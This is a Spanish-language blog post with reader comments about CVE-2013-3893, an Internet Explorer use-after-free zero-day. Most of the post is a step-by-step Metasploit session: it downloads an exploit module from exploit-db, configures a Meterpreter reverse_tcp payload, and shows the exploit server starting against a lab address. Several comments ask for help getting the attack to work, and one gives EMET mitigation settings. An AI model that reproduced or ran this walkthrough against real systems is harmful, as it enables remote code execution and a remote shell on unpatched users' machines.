CVE-2013-3893 y un exploit para dominarlos a todos (los que usen Internet Explorer)

El 17 de septiembre de 2013 Microsoft publicó un aviso acerca de un nuevo 0-day en Internet Explorer que se estaba utilizando en varios ataques dirigidos. El pasado sábado FireEye confirmó que se estaba utilizando desde julio-agosto contra varias organizaciones de Japón dentro de lo que denominó operación "Deputy dog" debido a que dicha frase se encontraba entre el código del exploit.

La vulnerabilidad asociada al CVE-2013-3893 es de tipo use-after-free en memoria y permite la ejecución remota de código debido a una mala implementación de SetMouseCapture en mshtml.dll que afecta a todas las versiones de IE de la 6 a la 11. El exploit además utiliza una combinación de heap spraying y el módulo ‘mscorie.dll’ para evadir DEP y ASLR. 

Lo malo (o lo bueno) es que el lunes publicó un módulo en Metasploit para explotarlo y Microsoft de momento sólo ha publicado un Fix-it para solucionarlo. Es decir, al no incluir una actualización automática en Windows Update la única contramedida actual es la instalación manual del parche o la distribución del msi a través de SCCM/Altiris... y ya sabéis lo esto significa: ¡millones y millones de PCs en todo el mundo vulnerables!

Ante tal nicho de mercado sólo nos queda afilarnos los dientes y probarlo :P


root@kali:~/# wget http://www.exploit-db.com/download/28682
root@kali:~/# mv 28682 /usr/share/metasploit-framework/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
root@kali:~/# msfconsole
       =[ metasploit v4.7.0-2013092501 [core:4.7 api:1.0]
+ -- --=[ 1196 exploits - 726 auxiliary - 200 post
+ -- --=[ 312 payloads - 30 encoders - 8 nops

msf > use exploit/windows/browser/ie_setmousecapture_uaf

msf exploit(ie_setmousecapture_uaf) > set srvhost 192.168.177.128
srvhost => 192.168.177.128
msf exploit(ie_setmousecapture_uaf) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_setmousecapture_uaf) > set lhost 192.168.177.128
lhost => 192.168.177.128
msf exploit(ie_setmousecapture_uaf) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010

msf exploit(ie_setmousecapture_uaf) > set target 1
target => 1

msf exploit(ie_setmousecapture_uaf) > show options

Module options (exploit/windows/browser/ie_setmousecapture_uaf):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     192.168.177.128  yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.177.128  yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010

msf exploit(ie_setmousecapture_uaf) > [*] Using URL: http://192.168.177.128:8080/fyfa4sovCnSmvK7
[*] Server started.
[*] 192.168.177.1    ie_setmousecapture_uaf - Checking target requirements...
[*] 192.168.177.1    ie_setmousecapture_uaf - Using Office 2010 ROP chain

Comentarios

  1. Como hago para usar cargar este exploit, por que hago un msfupdate y no esta,al igual que unos ultimos.

    ResponderEliminar
  2. Buenas!

    Un workaround podría ser el uso de EMET al ejecutar el iexplorer?

    Un saludo

    ResponderEliminar
  3. para el primer @anonimo he actualizado la entrada con un how-to paso a paso descargando el exploit desde exploit-db...
    ojo que en spanish no funciona (sólo EN/ZH/FR/DE/JA/PT/KO/RU), así que a ver si saco algo de tiempo y le doy un par de vueltas con la mona.py a ver si hay suerte

    respecto a lo que comenta @nex0 efectivamente el exploit puede mitigarse con EMET 4.0 pero hay que configurarlo así:

    Mandatory ASLR
    ROP
    Enable MemProt
    Enable Caller
    Enable SimExecFlow
    Enable StackPivot
    Heap Spray
    Find the value of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EMET\iexplore.exe\ *\Internet Explorer\iexplore.exe
    Open HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EMET\_settings_\VALUE_FROM_STEP_1\heap_pages
    Add 0x12121212 to the list


    ResponderEliminar
  4. He intentado ejecutar este módulo pero me falla al cargarlo, tengo metasploit actualizado y me he bajado el archivo ruby para ponerlo en la ruta donde están todos los demás exploits para el browser, que en mi caso difiere de tu ruta, pero no debería influir "/opt/metasploit/apps/pro/msf3/modules/exploits/multi/browser/"

    ¿Se te ocurre que puede ser?

    ResponderEliminar
  5. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  6. @lork prueba:

    msf> reload_all

    ó

    ponlo en /opt/metasploit/msf3/modules en lugar de /opt/metasploit/app/pro/msf3/modules

    ResponderEliminar
  7. Gracias por la ayuda, aunque lamentablemente no me ha funcionado, la ruta de metasploit/msf3 no la tengo, pero incluso la he creado y pegado el exploit, pero nada no hay manera.

    ResponderEliminar
  8. y has verificado la ruta donde están el resto de módulos/exploits? debería aparecer incluso tabulando...

    ResponderEliminar
  9. Sí, lo he probado, ahora lo he probado en windows y carga el módulo así que imagino que será un problema de permisos o algo así, aunque me extraña ya que obviamente lo ejecuté como sudo, pero bueno, tendré que comprobarlo bien.

    ResponderEliminar
  10. Hola Vicnete, una duda, para que genere la url justo despues del target que tenemos que escribir exploit u otra cosa.

    Lo estoy ejecutando contra Internet explorer 10/ Windos 7 sp1 y me sale lo siguiente> [*] 192.168...... ie_setmousecapture_uaf - Checking target requirements... No consigo la sesion meterprter.

    Gracias

    ResponderEliminar
  11. amigo me quede aqui:
    msf exploit(ie_setmousecapture_uaf) > [*] Using URL:
    http: ip lhots / y esto es para que fyfa4sovCnSmvK7 ?
    me prodrias decir como soluciono esto gracias amigo

    ResponderEliminar
  12. vicente me podria ayudar con algun exploit para win7 mozilla firefox como creo un exploit y lo agrego a la base de armitage

    saludos
    MANS

    ResponderEliminar

Publicar un comentario